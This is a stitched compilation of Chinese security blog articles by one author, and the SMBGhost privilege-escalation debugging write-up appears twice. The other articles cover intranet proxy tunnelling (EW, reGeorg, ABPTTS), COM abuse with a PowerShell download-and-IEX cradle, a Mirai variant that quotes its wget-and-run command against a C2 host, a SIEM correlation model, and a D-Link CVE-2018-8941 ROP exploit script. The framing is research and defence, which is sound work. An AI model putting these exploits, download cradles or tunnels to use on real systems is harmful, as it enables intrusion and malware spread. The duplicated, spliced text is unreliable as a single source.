一 、概述

网上已经有触发漏洞的POC和本地提权EXP,还有几篇从不同角度对漏洞进行阐述的文章(包括但不限于以下几篇),但是阅读后对内存的构造和利用过程并不理解,因此自己尝试从新调试走一遍,主要记录调试过程及其他文章中未能读懂的部分,基本原理,提权原理及协议结构等不再重复:

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://paper.seebug.org/1164/

https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q

二、配置调试环境

需要配置双虚拟机windbg preview调试,配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransportkdnet.dll

bcdedit /dbgsettings NETHOSTIP:调试机IP PORT:50000

bcdedit /debug on

调试机上的windbg设置:

加载符号表及:

sympath SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols

.reload重新加载符号表

Lml 查看加载了哪些符号表

Bp srv2!Srv2DecompressData+0xe0,此时找不到函数定义,需要.reload符号表

!sym noisy打开加载符号过程分析

.reload /f srv2.sys

windbg ERROR_INTERNET_CANNOT_CONNECT 是需要科学上网

 发现错误,在system32下面寻找srv2.sys,但实际上该文件在system32/drivers,拷贝后再次加载:

三、调试BOSD

造成漏洞的代码位于:

Srv2.sys的Srv2DecompressData :

前面2个变量相加的时候没做检查造成溢出分配一个较小的内存导致使用该内存时出现问题。

调试时使用ZecOps公开的BOSD poc,打开mem文件后,查看函数调用情况:

查看内存错误情况:

查看出错的内存,非法使用一块未调试

对SrvNetAllocateBuffer附近下断点:

Add ecx,eax执行之前ecx=0xffffff,

执行后,ecx溢出为0×239

搜一下发现win64传参有好几种不同的说法,同过IDA查看函数的参数:

再对比调试器中的参数:确认函数的传参顺序为ecx,edx,r8,r9.

四、LPE过程调试

依然使用ZecOps公开的 poc,但是为了方便观察内存数据变化,做了如下修改:

分析如下关键点:

多次调试分析结合其他文章的讲解后得出申请用于解压缩数据的内存结构如下:

内存的申请过程也有点绕,调试后发现如下顺序:

最终使用nt!ExAllocatePoolWithTag申请了一块0×1278大小的内存,地址开始值可以抽象为0×0000:

但是SrvNetAllocateBuffer成功后的返回值为0×0000+0×1150=0×1150(0xffffd888c577c150-0xffffd888c577b000=0×1150):

,同时在0×1150的0×18出存放了0×0000+0×50(内存可以开始使用的地址)的地址

申请的内存从0×0050可以开始使用,前面部分用于放未压缩的数据,后面存放压缩的数据。未压缩数据大小来自smb数据包header中的offset(0×18)参数,那么SmbCompressionDecompress函数将压缩的数据解压到0×0050+offset(0×18)开始,如果大小能覆盖到0×1168那么就可以改写内存首地址,0×1168-0×0050-0×18=0×1100,看下poc代码:

其中len(what)=0×18,因此写入的数据长度为0×1100。

在SmbCompressionDecompress调用前下断点,第4个参数为解压后存放数据的内容地址,0×0068(0×0000+0×50+offset(0×18)):

同时记录0×1168地址处的内容:

SmbCompressionDecompress调用完毕后,0×68处内容为poc想写入的0×41:

同时0×1168处地址也被改写为token地址(0xFfffc7093924e0a0):

SmbCompressionDecompress完毕后只是处理了压缩的数据部分,未压缩的部分接下来用Memcpy函数拷贝到内存块的首部,长度为offset(0×18),但是此时0×1168存放的内存块首部地址已经被改为token地址(0xFfffc7093924e0a0),对应rcx。

因此实现了对token的改写,提权成功。

*本文作者:kczwa1,转载请注明来自FreeBuf.COM

一 、概述

网上已经有触发漏洞的POC和本地提权EXP,还有几篇从不同角度对漏洞进行阐述的文章(包括但不限于以下几篇),但是阅读后对内存的构造和利用过程并不理解,因此自己尝试从新调试走一遍,主要记录调试过程及其他文章中未能读懂的部分,基本原理,提权原理及协议结构等不再重复:

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://paper.seebug.org/1164/

https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q

二、配置调试环境

需要配置双虚拟机windbg preview调试,配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransportkdnet.dll

bcdedit /dbgsettings NETHOSTIP:调试机IP PORT:50000

bcdedit /debug on

调试机上的windbg设置:

加载符号表及:

sympath SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols

.reload重新加载符号表

Lml 查看加载了哪些符号表

Bp srv2!Srv2DecompressData+0xe0,此时找不到函数定义,需要.reload符号表

!sym noisy打开加载符号过程分析

.reload /f srv2.sys

windbg ERROR_INTERNET_CANNOT_CONNECT 是需要科学上网

 发现错误,在system32下面寻找srv2.sys,但实际上该文件在system32/drivers,拷贝后再次加载:

三、调试BOSD

造成漏洞的代码位于:

Srv2.sys的Srv2DecompressData :

前面2个变量相加的时候没做检查造成溢出分配一个较小的内存导致使用该内存时出现问题。

调试时使用ZecOps公开的BOSD poc,打开mem文件后,查看函数调用情况:

查看内存错误情况:

查看出错的内存,非法使用一块未调试

对SrvNetAllocateBuffer附近下断点:

Add ecx,eax执行之前ecx=0xffffff,

执行后,ecx溢出为0×239

搜一下发现win64传参有好几种不同的说法,同过IDA查看函数的参数:

再对比调试器中的参数:确认函数的传参顺序为ecx,edx,r8,r9.

四、LPE过程调试

依然使用ZecOps公开的 poc,但是为了方便观察内存数据变化,做了如下修改:

分析如下关键点:

多次调试分析结合其他文章的讲解后得出申请用于解压缩数据的内存结构如下:

内存的申请过程也有点绕,调试后发现如下顺序:

最终使用nt!ExAllocatePoolWithTag申请了一块0×1278大小的内存,地址开始值可以抽象为0×0000:

但是SrvNetAllocateBuffer成功后的返回值为0×0000+0×1150=0×1150(0xffffd888c577c150-0xffffd888c577b000=0×1150):

,同时在0×1150的0×18出存放了0×0000+0×50(内存可以开始使用的地址)的地址

申请的内存从0×0050可以开始使用,前面部分用于放未压缩的数据,后面存放压缩的数据。未压缩数据大小来自smb数据包header中的offset(0×18)参数,那么SmbCompressionDecompress函数将压缩的数据解压到0×0050+offset(0×18)开始,如果大小能覆盖到0×1168那么就可以改写内存首地址,0×1168-0×0050-0×18=0×1100,看下poc代码:

其中len(what)=0×18,因此写入的数据长度为0×1100。

在SmbCompressionDecompress调用前下断点,第4个参数为解压后存放数据的内容地址,0×0068(0×0000+0×50+offset(0×18)):

同时记录0×1168地址处的内容:

SmbCompressionDecompress调用完毕后,0×68处内容为poc想写入的0×41:

同时0×1168处地址也被改写为token地址(0xFfffc7093924e0a0):

SmbCompressionDecompress完毕后只是处理了压缩的数据部分,未压缩的部分接下来用Memcpy函数拷贝到内存块的首部,长度为offset(0×18),但是此时0×1168存放的内存块首部地址已经被改为token地址(0xFfffc7093924e0a0),对应rcx。

因此实现了对token的改写,提权成功。

*本文作者:kczwa1,转载请注明来自FreeBuf.COM

简介

端口转发是点对点的方式,代理是点对面的方式,如果我们只需要访问主机的特定的端口,使用端口转发就够了,但通常在渗透进内网之后,我们还需要对整个内网进行横向渗透,这时代理必然是一个高校的方法。代理分为正向代理和反向代理,正向代理常适用于外网可以直接访问到web服务器的情况下,反向代理适用于服务器可以出网,但是外部无法直接访问服务器的情况,针对大型企业,现在几乎都是CDN,负载均衡等设备,所以个人认为现在反向代理更常见于渗透攻击中。

一、 EW+Proifier

环境

攻击端(windows10):172.16.110.150

靶机1(windows 2008 R2):外网IP:192.168.254.132内网IP:192.168.1.1

靶机2(windows2008): 内网IP:192.168.1.2

使用方法

反向代理使用方法(正向代理这儿不演示,反向代理应用更多些,因为反向代理主要适用于服务器无法从外部访问,但是服务器可以访问外部):

1. 通过shell上传一个对应版本的EW,这儿我上传了一个windows的

2. 本地执行:ew_for_Win.exe -srcsocks -l “自定义端口1” -e“自定义端口2”

3. Shell上执行:ew_for_Win.exe -s rssocks-d “接收端IP” -e “自定义端口2”

4. 配置Proifier

行为分析

配置好后对内网IP的一次访问:

可以看出如果使用ew进行内网的全局代理,如果攻击者使用的上传工具又经过加密,比如冰蝎这款shell管理工具,我们是无法通过流量回溯来发现上传代理工具,以及代理转发痕迹。

不过在靶机本地可以看到可疑进程:

可疑网络连接:

事件日志:

VirusTotal检查结果:

总结

如果利用ew进行全局代理,配合加密得shell,通过流量回溯极难发现,通过服务器本地日志查看,进程查看,网络排查容易发现痕迹,且ew会被部分杀软查杀。

二、 Regeorg+Proifier

环境

攻击端(Win10):192.168.223.1

靶机一(Win2008):外网IP:192.168.223.128 内网IP:192.168.1.1

靶机二(windows ):内网IP:192.168.1.2

使用方法

1. 通过Shell上传对应的Tunnel脚本,访问:

表你是脚本运行正常。

2. 在本地运行reGeorgSocksProxy.py脚本:

Python reGeorgSocksProxy.py-p “自定义本地监听端口” -u “tunnel.jsp脚本url”

运行成功,然后配置proifier,配置方法与第一个环境一样:

行为分析

建立代理的流量:

对内网WEB的一次访问:

通过流量可以看出,如果使用tunnel.jsp作为隧道,流量有明显跟隧道文件有关的特征,使用端口扫描工具对内网进行端口扫描:

可以看到代理特征还是调用tunnel隧道来进行内网渗透,查看http流量:

3389连接的特征:

传统的3389连接流量:

用jmeter漏洞工具进行漏洞攻击(这里靶机IP自动更新到129了):

追踪TCP流可以看到命令执行痕迹:

总结

利用regeorg+proifier方式来进行内网全局代理之后有明显的流量特征,但是流量中的行为不方便分析,流量行为主要是以流量隧道来进行攻击,我们能直观看见的是目的IP和目的端口,所以可以根据端口全球数量和频率可以大概分析攻击者行为,脚本会被部分杀软检测。

三、Abptts&SSH

使用方法

Abptts是一款基于python2.7的http加密隧道工具,Abptts能做的很多:

1. 通过http加密隧道转发至目标内网下指定的单个TCP端口

2. 通过http加密隧道同时转发至目标内网下的多台机器上的多个tcp端口

3. 把ssh隧道包裹在http加密隧道中传递,对目标二级内网进行穿透

行为分析

单个端口转发:内网的80端口转发到本地的80端口,无流量产生,无痕迹可分析

环境

攻击端(windows):192.168.114.1靶机一(windows):外网IP:192.168.114.128内网IP:192.168.1.4靶机二(windows):内网IP192.168.1.2

本地访问80端口,特征为大量对代理文件的请求,数据流加密了无法看出内容:

SSH动态转发:

攻击端(kali):192.168.114.131

靶机一(CentOs):192.168.114.132

SSH -D 本地端口 [email protected]

Ssh协议采用了加密处理,无法对内容进行分析,ssh动态转发需要知道用户密码,所以使用具有一定前提条件,对服务器的last读取可以看到ssh登录痕迹,并且因为ssh动态转发是一个持续化的过程,所以只要转发进程没有结束,就会一直产生tcp&&ssh协议的流量。

Abptts+SSH动态转发:

攻击端(kali):192.168.114.131

靶机(CentOs):192.168.114.132

双加密的内网代理手法,繁琐了点,但是对蓝方人员更是无法分析行为:特征为频繁请求代理文件。

VirusTotal检查结果:惊奇发现居然免杀

总结

Abptts+SSH代理的优点是方便对多级内网进行代理,传输数据都采用了加密,免杀,不利于蓝方人员分析行为;缺点是结合SSH动态转发动静大,需要SSH账户密码。

*本文作者:kczwa1,转载请注明来自FreeBuf.COM

0×00 前言

渗透测试人员、红队以及恶意软件都在攻击中使用COM对象,遂参考多方资料对COM的恶意应用作一个小总结。

“微软组件对象模型(Component Object Model,COM)是平台无关、分布式、面向对象的一种系统,可以用来创建可交互的二进制软件组件”。COM是微软OLE(复合文档)、ActiveX(互联网支持组件)以及其他组件的技术基础。

每个COM对象都对应于唯一的二进制标识符,这些全局唯一标识符为128比特(16字节),通常被称为GUID。当GUID用来标识某个COM对象时,就成为CLSID(类标识符)。某些CLSID还包含可读的文本,即ProgID

0×01 COM 用于恶意软件中访问网络

APT29曾使用InternetExplorer.Application COM Object 来访问 URL 和获取图像

COM可用于打开Internet Explorer来访问网络。对于恶意工具开发者有如下好处:

1. HTTP通信由用户的iexplore.exe进程执行,而不是由恶意软件本身执行。

2. 没有使用socket等常见网络函数。

如下代码为使用InternetExplorer.Application对象访问网络

if (SUCCEEDED(OleInitialize(NULL)))

{

IWebBrowser2* pBrowser2;

HRESULT hr;

IDispatch* pHtmlDoc = NULL;

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,

IID_IWebBrowser2, (void**)&pBrowser2);

if (pBrowser2)

{

VARIANT vEmpty;

VariantInit(&vEmpty);

BSTR bstrURL = SysAllocString(L”http://www. baidu. com”);

HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty,&vEmpty, &vEmpty);

if (SUCCEEDED(hr))

{

hr = pBrowser2->get_Document(&pHtmlDoc);

}

else

{

pBrowser2->Quit();

}

SysFreeString(bstrURL);

pBrowser2->Release();

}

OleUninitialize();

}

逆向分析时:

根据CoCreateInstance找到clsid,

通过clsid可以看到progid为IE:

0×02 COM 用于一定程度隐藏网络行为日志

通过InternetExplorer.Application对象访问网络

使用如下的powershell命令访问http网络:

$ieObject= New-Object -ComObject 'InternetExplorer.Application'

$ieObject.Visible= $true

$ieObject.Navigate('http://www.baidu.com')

通过对sysmon日志分析可以发现:

有powershell启动日志,有IE启动日志,但是IE的启动日志与powershell无关

使用如下的powershell命令直接访问网络下载文件

$client = new-object System.Net.WebClient

$client.DownString('1.1.1.1/a')

则通过sysmon日志可以看到ID 3 事件记录了powershell发生了可疑网络行为:

0×03 COM hijack 用于防御逃逸和持久化

ATT&CK模型中T1122项目对此有详细描述

APT28曾使用此技术。

HKCR key是HKCU和HKLM的虚拟表示。其中主机全局设置(适用于所有用户)存储在HKLM中,单个用户的设置存储在HKCR中。

当从HKCR读取key值时,首先从HKCU\Software\Classes\clsid读取key值,如果不存在,则从HKLM读取key值.同时中低权限进程无法修改HKLM,但可以修改HKCU.因此所谓COM hijack就是修改HKCU中的xxxx\InprocServer32中的值。公开报告中发现的恶意样本劫持过的COM

{BCDE0395-E52F-467C-8E3D-C4579291692E}, MMDeviceEnumerator.

{d9144dcd-e998-4eca-ab6a-dcd83ccba16d}\InprocServer32EhStorShell.dll

{08244ee6-92f0-47f2-9fc9-929baa2e7235}\InprocServer32 ntshrui.dll.

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}: CAccPropServicesClass.

尝试修改了下对应注册表进行 com hijack, 在测试时,某安全工具无告警。

0×04 无文件下载及执行

F5078F35-C551-11D3-89B9-0000F81FE221}这个COM对象(Msxml2.XMLHTTP.3.0),可以用来下载任意代码并执行,无需将payload写入磁盘,也不会触发基于System.Net.WebClient的常用检测规。

使用如下命令:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://xxxx/payload", $False); $o.Send(); IEX $o.responseText;

在测试时,某安全工具无告警:

Sysmon日志对powershell的网络行为有记录,但对执行内容无记录:

参考文章

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects-part-two.html

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

https://attack.mitre.org/wiki/Technique/T1122

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文原创作者:kczwa1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、概述

12月底,通过安全设备检测到几个不同的IP试图对几个公司内部的网站进行漏洞攻击。通过攻击日志发现攻击IP使用了于2018年12月12日爆出的ThinkPHP远程代码执行漏洞(CNVD-2018-24942),攻击者利用该漏洞,可在未授权的情况下远程执行代码。

下图为攻击日志:

图片.png攻击者试图在被攻击服务器上执行如下命令:

‘Cd /tmp;wget http://cnc.junoland.xyz/bins/egg.x86;cat egg.x86> lzrd;chmod 777 lzrd;./lzrd ‘

同时从该恶意文件存放网站上还发现了arm,mips,mipsl等不同cpu架构版本的病毒:

图片.png获取egg.x86文件后,截止测试时,根据virustotal网站信息,暂无国内安全公司识别该文件为病毒,如下图所示:

图片.png此文件应该是Mirari病毒的一种新变种,保留了传统Mirari特征,试图通过最新的thinkphp漏洞来收割一波服务器肉鸡,比起之前的mirari只攻击IOT设备,这个文件的目标范围扩大了不少。

二、病毒分析

由于体力原因,并未分析完所有的功能。

该病毒为了躲避静态分析,并不直接从库函数libc里面调用系统函数,导入表为空:

图片.png

所有的系统调用都采用int 80h Linux系统软中断调用组合系统调用号的方式实现,如下图:

图片.png注释后的关键结构代码如下:

图片.png图片.png

包含了漏洞扫描模块和结束模块,代码结构与mirai 类似。

listen_43824模块会打开本地网络监听端口43824:

图片.png

图片.pngtelnet_brute_force模块,扫描随机IP的telnet服务是否打开,telnet服务在路由器等IOT设备上应用较多,目的IP根据系统时间和进程号进行计算生成:

图片.png

抓取流量包后发现扫描行为如下:

图片.png

在进行逆向调试时,成功扫描到某IP开放了23端口telnet服务,从返回信息看该IP为一台华为家用路由器,如下图所示:

图片.png

当扫描到目的IP开放telnet服务后,开始使用弱口令尝试爆破扫描出的telnet服务。在内存中发现病毒自带的一份弱口令密码表,如图下图所示,这个样本采用少量的密码字典,因为大范围的扫描公网IP字典少扫描效率相对较高,同时由于攻击目标为IOT的Telnet服务,这个服务经常用一些很简单的密码:

图片.png

Linksys_exp模块会扫描随机IP的8080服务是否打开,目的IP根据系统时间和进程号进行计算生成,如图所示:

图片.png下图为通过抓取网络数据发现的对随机IP进行的8080端口扫描行为:

图片.png

当扫描到IP开放后则使用漏洞CNVD-2014-01260(Linksys多款路由器 tmUnblock.cgi ttcp_ip 参数远程命令执行漏洞)进行攻击,根据payload内容如果此漏洞攻击成功则会在目标路由器上下载egg.mpsl(此病毒的mpsl版本)并执行,攻击payload如下:

图片.png

攻击流量数据如下:

图片.png

thinkphp_exp模块,跟前面的进程一样进行任意IP端口扫描,发现端口打开后,尝试使用CNVD-2018-24942(ThinkPHP远程代码执行漏洞)进行攻击:

图片.pngdir_exp模块,跟前面的进程一样进行任意IP端口扫描, 发现端口打开后,尝试使用CNVD-2013-09199 (DIR-300, DIR-600, DIR-645, DIR-845和DIR-865UPnP SOAP接口接口不正确过滤XML参数,允许远程攻击者利用漏洞注入和执行任意命令)进行攻击:

图片.png

Watchdog_scan模块,由于IOT设备中经常配置看门狗模块以使机器在出现问题时重启,病毒进程在设备重启后将无法启动,因此子进程5尝试在文件系统中打开名为/dev/watchdog,etc/watchdog等的文件,一旦打开成功则篡改其权限让watchdog失效:图片.png

*本文原创作者:kczwa1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

在大型企业生产环境中,实现安全事件的处理和攻击行为的分析,需要尽可能多地收集各种安全设备的安全事件数据,例如:网络防火墙、WAF、服务器防护、VPN,、流量监控、APT检测、IDS、IPS、蜜罐等。然而,过多的安全事件日志(特定场景下,如每天40万条日志),将无法人工地进行分析和处理,如何从中过滤出真正的渗透攻击者,供安全运维人员和响应人员进行处理,是现有所有类SIEM设备所共同面临的挑战。

在大型组织内部部署了多种多数量不同厂商安全设备的环境中存在如下三个具体问题:

1、由于安全厂商设备能力问题及日志规范问题会出现一台安全设备发出大量同一攻事件相同时间或者事件间隔很小的大量日志,人工无法判断这些日志是同一个攻击者的重复行为还是安全设备的重复告警.

2、各家安全设备厂商对同一攻击事件都会告警,SIEM都收到类似日志,无法区分这个是一个IP的一个动作还是重复动作。

3、各家安全厂商的设备都会存在误报,由于系统中的安全设备量表大,因此误报的日志数量也很多,SIEM系统或者人工分析都无法实时去过滤掉这些误报。

因此无法通过简单通过攻击日志的数量来筛选找出真实的渗透攻击。

解决思路

在无自动化工具的支持下,人工的过滤事件数据,基本是不可能实现的;现有SIEM类系统解决了多元异构数据的归一化问题,即将各种安全设备和主机服务器的日志统一收集,并按照统一标准对不同安全厂商的安全事件日志进行标准化,如下图所示:

安全事件日志进行标准化

标准化完成之后,根据安全业务模型对日志进行简单的关联形成告警,然后在系统中进行查询分析和处理。在实际部署环境中,这种简单关联形成的告警将会产生很多,结果造成告警退化为了安全事件,继而又再次无法有效处理。

为了真正实现有效告警的生成与处理,简单的关联模型是无法完成的;因此模仿安全运维分析人员解决安全问题的思路和方法,采用多层网络时序关联模型,应用多层网络技术,推理出高层结论作为有效预警输出,能够实质上提升安全事件包括渗透攻击的预警能力。可以解决如下的问题:

1、我们发现某些情况下,某安全设备一直对同一IP产生重复的5K条告警日志,告警内容是该IP使用某2013年的软件漏洞攻击某服务器,实际上该服务器并未使用该软件。如果单纯使用数量统计,会发现大量的此类重复(误报)事件,但这IP跟攻击无关。多层网络时序关联模型可以有效的过滤掉此类重复误报事件。

2、通过对安全日志的分析发现,每天的日志中会有约上千的IP对内网尝试了攻击,比如某外网IP尝试了对服务器进行了1次SQL注入,在3家不同厂商的设备中发现了告警,观察日志后发现此IP确实进行了1次注入尝试( 使用‘and 1=1),但是后面再无此IP日志,因此虽然此IP进行了SQL注入,但我们不能因此就对此IP对运维人员告警,因为他并无后续的持续信息侦查和其他渗透手段。

实现设想

在大数据环境下,实现多层网络推理引擎,将结合复杂事件处理(Complex Event Processing,CEP)和行为模型识别引擎(Attacking Recognition Modeling Engine,ARME)技术结合,前者处理实时发生的事件信息,提供必要的事件聚合和变换等,后者实现复杂行为匹配业务逻辑。

ARME中使用的模型用JSON格式的领域语言DSL(Domain Specific Language)编写,支持值比较、逻辑运算、集合运算、时间窗口和序关系测定等复杂操作;ARME把模型编译为内部表达形式,编译过程中将处理逻辑、关联关系和事件触发都联系在一起. 当外部事件进入ARME时,将选择性执行事件相关联的一个或多个模型;大致上模型执行阶段分为如下三个阶段:逻辑判定,确定模型是否符合条件引起后续操作;模型链反应,在某一条模型触发后,是否继续执行模型依赖链中下一条模型;事件触发,是否向模型引擎之外输出事件消息。

为了处理重复日志聚合及有效攻击筛选问题, MLS-CEP-ARME实现了多层网络架构时间窗口时序处理引擎,通过多层网络告警处理模型让MLS-CEP-ARME实现对海量日志中攻击行为的筛选,具体处理步骤:

第一级处理:

1、对日志同源同目的同手段日志简单时间聚合,在某类型日志数量达到阈值后生成一级聚合事件并启动时间窗口,在窗口未关闭前的时间内所有相同条件日志也继续聚合到同一事件中。

2、对符合一定攻击步骤的日志做时序聚合产生一级时序聚合事件。

第二、三级处理:

模型引擎会将上一级中生成的简聚合事件再当作普通事件发往所有对此事件感兴趣的模型对象,对于每一条模型对象来说聚合事件和日志事件是同一类对象.第二,三级聚合模型会继续根据模型对日志和聚合事件进行行为含义聚并生成新的弱行为含义告警。

第四级网络结构继续按模型序列及时间窗口继续生成高行为含义告警,此时的告警不仅会聚合上一级的事件且会根据模型需要聚合任意层级的事件,最终输出我们需要找到的渗透攻击IP告警,如下图所示:

最终输出

模型是对渗透测试步骤及方法的模拟,可以通过安全人员依靠已知经验完成,也可以通过对已经的渗透攻击进行机器学习完成,因此多层网络时序聚合模型最终找出跟渗透测试人员一样行动步骤的日志,如果某IP按一定时间顺序尝试了某些渗透步骤,那我们判定此IP为渗透攻击IP,普通的误报或者无意的访问尝试触发的安全设备日志,或者强度不够的渗透扫描,从数量,步骤时序,目标特点等上面都无法满足模型,即普通的单一的POC扫描及安全设备误报最多产生第一二级聚合事件,因为行为不存在步骤性,即便数量非常多也只会生成一条一级聚合并不会产生第4级告警。

实际测试效果-预警渗透攻击

(由于需要对用户信息保密已抹去真实信息)

用户实际网络中部署MLS-CEP-ARME后,实际在1天的40W日志中仅产生2个4级告警,百条级2,3级事件,2K条1级聚合事件,选择其中一条威胁告警进行分析,可以看到此攻击IP的4级告警使用了总共64条日志:总共64条日志

这个4级告警由4条3级事件聚合,其中每条3级聚合又由N多低级事件聚合而成。由于未对该IP进行封堵。所以我们继续分析该IP流量后发现,该IP成功上传文件名为tett.asp的一句话后门,如下图:一句话后门

可以看到MLS-CEP-ARME告警的IP确实是攻击者。

总结

经过一段时间的测试,发现MLS-CEP-ARME不存在误报,实际上触发4级告警的IP非常少。

但是存在漏报的情况,说明安全设备日志处理也只是在某些特定场景下有效,一但遇到:

1、攻击者使用新漏洞安全设备无法告警

2、其他情况下渗透测试者能在少步骤内成功渗透进入系统

3、其他未知的告警非常少的情况下,此日志处理模型也不会生效。

同时还发现由于现在使用的全部安全设备日志,会遇到如下问题:

1、由于只有安全设备的日志,因此丢失了很多重要信息。

2、没有纵深防御,一旦攻击者突破边界安全设备,SIEM就不会再给出告警提示。

3、安全设备对攻击的告警类型不准确导致攻击识别模型对告警识别错误。

下一步准备进一步研究如何MLS-CEP-ARME和设备(非安全设备)日志来检测已经成功进入到内网的威胁。

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

这次分析一个mips下栈溢出用到ROP的情况。

【传送门】

通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃

路由器漏洞复现分析第二弹:CNVD-2018-01084

路由器漏洞复现分析第三弹:DVRF INTRO题目分析

路由器漏洞复现分析第四弹:CVE-2018-7034

路由器漏洞分析第五弹:CVE-2018-5767路由器远程代码执行

路由器漏洞分析第六弹 :CVE-2018-7445 MikroTik 路由器系统缓冲区溢出漏洞

一. 漏洞概述

CVE-2018-8941 D-Link DSL-3782 代码执行 

友讯科技股份有限公司成立于1986年,专注于电脑网路设备的设计开发,并自创「D-Link」品牌,行销全球。

此漏洞位于 D-Link DSL-3782路由器,授权用户可以远程代码执行

参考信息:https://github.com/SECFORCE/CVE-2018-8941#cve-2018-8941-d-link-dsl-3782-code-execution-proof-of-concept

漏洞固件版本:DSL-3782_A1_EU_1.01_07282016.bin

下载链接:

https://eu.dlink.com/cz/cs/products/dsl-3782-wireless-ac1200-dual-band-vdsl-adsl-modem-router#Technical-Specifications

漏洞存在于 “/USEFS/BI/TCAPI”二进制文件中,它被用作Web GUI中“诊断”功能的实现代码,一个经过身份验证的用户可以使用一个长缓冲区作为参数,导致内存损坏。此外,可以重定向程序的流程并执行任意代码。

二. 漏洞分析

2.1 控制eip

/userfs/bin/tcapi输入不当的参数会触发漏洞

MIPS 大端结构

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

Tcapiset 命令用法如下

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

tcapi set会调用Libtcapi.so.1中的tcapi_set函数

其中第二个Strcpy拷贝未验证src的长度,导致栈溢出

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

ra放在-4 ,拷贝的目标地址在- 0×258,0×258-0×4=596,

Payload=”A”*596+”BBBB”测试一下

图片.png

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

Crash的时候,eip为42424242,位置正确,此时s1,s0,s2,s3 可以被控制

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

2.2 构造rop链

貌似还是很友好

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

由于本身文件很小,可能不太好找到合适的godget,看下内存,用了如下的lib文件

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

Libc里面的godget比较多,mips下的rop主要是去找到 move t9,xxx;jalrt9这样的指令来达到控制执行流程的目的,其中xxx是我们在溢出的时候可以控制的寄存器。此漏洞中我们可以控制s0,s1,s2,s3 寄存器。

用misprop插件在IDA 搜索godget

直接搜索从栈中读取参数到寄存器的godget

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

找到如下的godget,把栈中的参数放到s5,再直接放到a0作为下一个call参数,并把system的地址从s0传到t9,一个godget搞定

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

现在只差s5 的值了,可以看到s5=sp+0×10,那么在payload中ra的后面16字节后再放我们需要system执行的参数

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

我们的参数需要放到

构造如下的payload:

#!/usr/bin/envpython

import sys

import struct

libc =0x40868000

s0=struct.pack(">I",0x408C1BB0)#system

s1=struct.pack(">I",0x41414141)#useless

s2=struct.pack(">I",0x43434343)#useless

s3=struct.pack(">I",0x44444444)#useless

ra=struct.pack(">I",0x4087E56C)#godget1

x="A"*580+s0+s1+s2+s3+ra+"x"*16+"ls"

执行后,

可以在截图中看到,成功执行了我们的远程命令“ls“”

路由器漏洞分析第七弹:CVE-2018-8941 远程代码执行

*本文作者:kczwa1,转载请注明来自FreeBuf.COM

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前面几篇文章分析了mips,arm,这次挑一个开启了NX和ASLR保护的x86架构的路由器。

【传送门】

通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃

路由器漏洞复现分析第二弹:CNVD-2018-01084

路由器漏洞复现分析第三弹:DVRF INTRO题目分析

路由器漏洞复现分析第四弹:CVE-2018-7034

路由器漏洞分析第五弹:CVE-2018-5767路由器远程代码执行

一. 漏洞概述

CVE-2018-7445 MikroTik RouterOS SMB 缓冲区溢出

参考信息:https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow

漏洞固件版本:

mikrotik-6.40.6.iso   x86版本

下载地址:https://mikrotik.com/download

Mikrotik的漏洞最早进入视野(我的)是去年早些时候泄露的CIA武器库。根据卡巴的信息,有APT组织对mikrotik的漏洞用的很多:

几天前,卡巴斯基实验室的安全专家宣布已经发现了一个新的复杂的 APT 组织,该组织从至少 2012 年起至少已经在雷达中运行。卡巴斯基跟踪该组织,并确定了它使用的一系列恶意软件,称为 Slingshot,以妥协中东和非洲数十万受害者的系统。

研究人员已经在肯尼亚,也门,阿富汗,利比亚,刚果,约旦,土耳其,伊拉克,苏丹,索马里和坦桑尼亚发现了约 100 名弹弓受害者并发现了其模块。肯尼亚和也门迄今为止感染人数最多。大多数受害者是个人而非组织,政府组织数量有限。APT 组利用拉脱维亚网络硬件提供商 Mikrotik 使用的路由器中的零日漏洞(CVE-2007-5633; CVE-2010-1592,CVE-2009-0824)将间谍软件放入受害者的计算机中。

攻击者首先破坏路由器,然后用文件系统中的恶意代码替换它的一个 DLL,当用户运行 Winbox Loader 软件(Mikrotik 路由器管理套件)时,该库将加载到目标计算机内存中。

该 DLL 文件在受害者的机器上运行,并连接到远程服务器以下载最终有效负载,即卡巴斯基监控的攻击中的 Slingshot 恶意软件。目前还不清楚 Slingshot 团伙是否也利用 CVE-2018-7445 漏洞危害路由器。

二. 漏洞分析.

2.1 搭建router os分析环境

先安装router os, 打开iso文件,删除掉默认硬盘,增加一个IDE硬盘

